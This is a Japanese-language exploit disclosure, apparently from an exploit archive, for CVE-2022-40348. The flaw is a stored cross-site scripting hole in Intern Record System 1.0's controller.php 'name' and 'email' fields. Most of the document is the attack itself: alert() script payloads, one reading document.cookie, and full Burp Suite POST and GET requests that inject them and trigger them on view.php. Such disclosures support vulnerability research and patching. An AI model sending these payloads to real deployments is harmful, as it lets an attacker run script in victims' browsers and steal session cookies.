CVE-2022-40348: Intern Record System - 'name' および 'email' におけるクロスサイトスクリプティング（未認証XSS）

• Exploit Title: Intern Record System - 'name' および 'email' におけるクロスサイトスクリプティング（未認証XSS）
• 日付: 2022-06-09
• Exploit作成者: Hamdi Sevben
• ベンダーホームページ: https://code-projects.org/intern-record-system-in-php-with-source-code/
• ソフトウェアリンク: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
• バージョン: 1.0
• テスト環境: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
• CVE: CVE-2022-40348

参考文献:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40348
• https://nvd.nist.gov/vuln/detail/CVE-2022-40348

1. 説明:

Intern Record System 1.0 は、"/intern/controller.php" 内のパラメータ 'name' および 'email' を介して格納型クロスサイトスクリプティングを許容します。Intern Record System は、ユーザー入力データのサニタイズが不十分であるため、クロスサイトスクリプティングの脆弱性の影響を受けます。攻撃者はこの問題を悪用し、影響を受けるサイトのコンテキストにおいて、無防備なユーザーのブラウザで任意のスクリプトコードを実行する可能性があります。これにより、攻撃者はクッキーベースの認証情報を盗み、その他の攻撃を開始できる可能性があります。

2. 概念実証:

• Burpsuite を使用して http://localhost/intern/controller.php 上の 'name' または 'email' パラメータにペイロードを付加したリクエストを送信
• http://localhost/intern/view.php ページにアクセス
• ページをリフレッシュ
• XSS がトリガーされる
• アラートがポップアップする

3. ペイロード例:

• Payload-1: <script>alert(document.domain)</script>
• Payload-2: <script>alert(document.cookie)</script>

4. 'name' パラメータへの Burpsuite リクエスト:

• 注入:

POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

name=<script>alert(document.domain)</script>&email=&phone=&deptType=3

• 特定ページ:

GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

5. 'email' パラメータへの Burpsuite リクエスト:

• 注入:

POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3

• 特定ページ:

GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36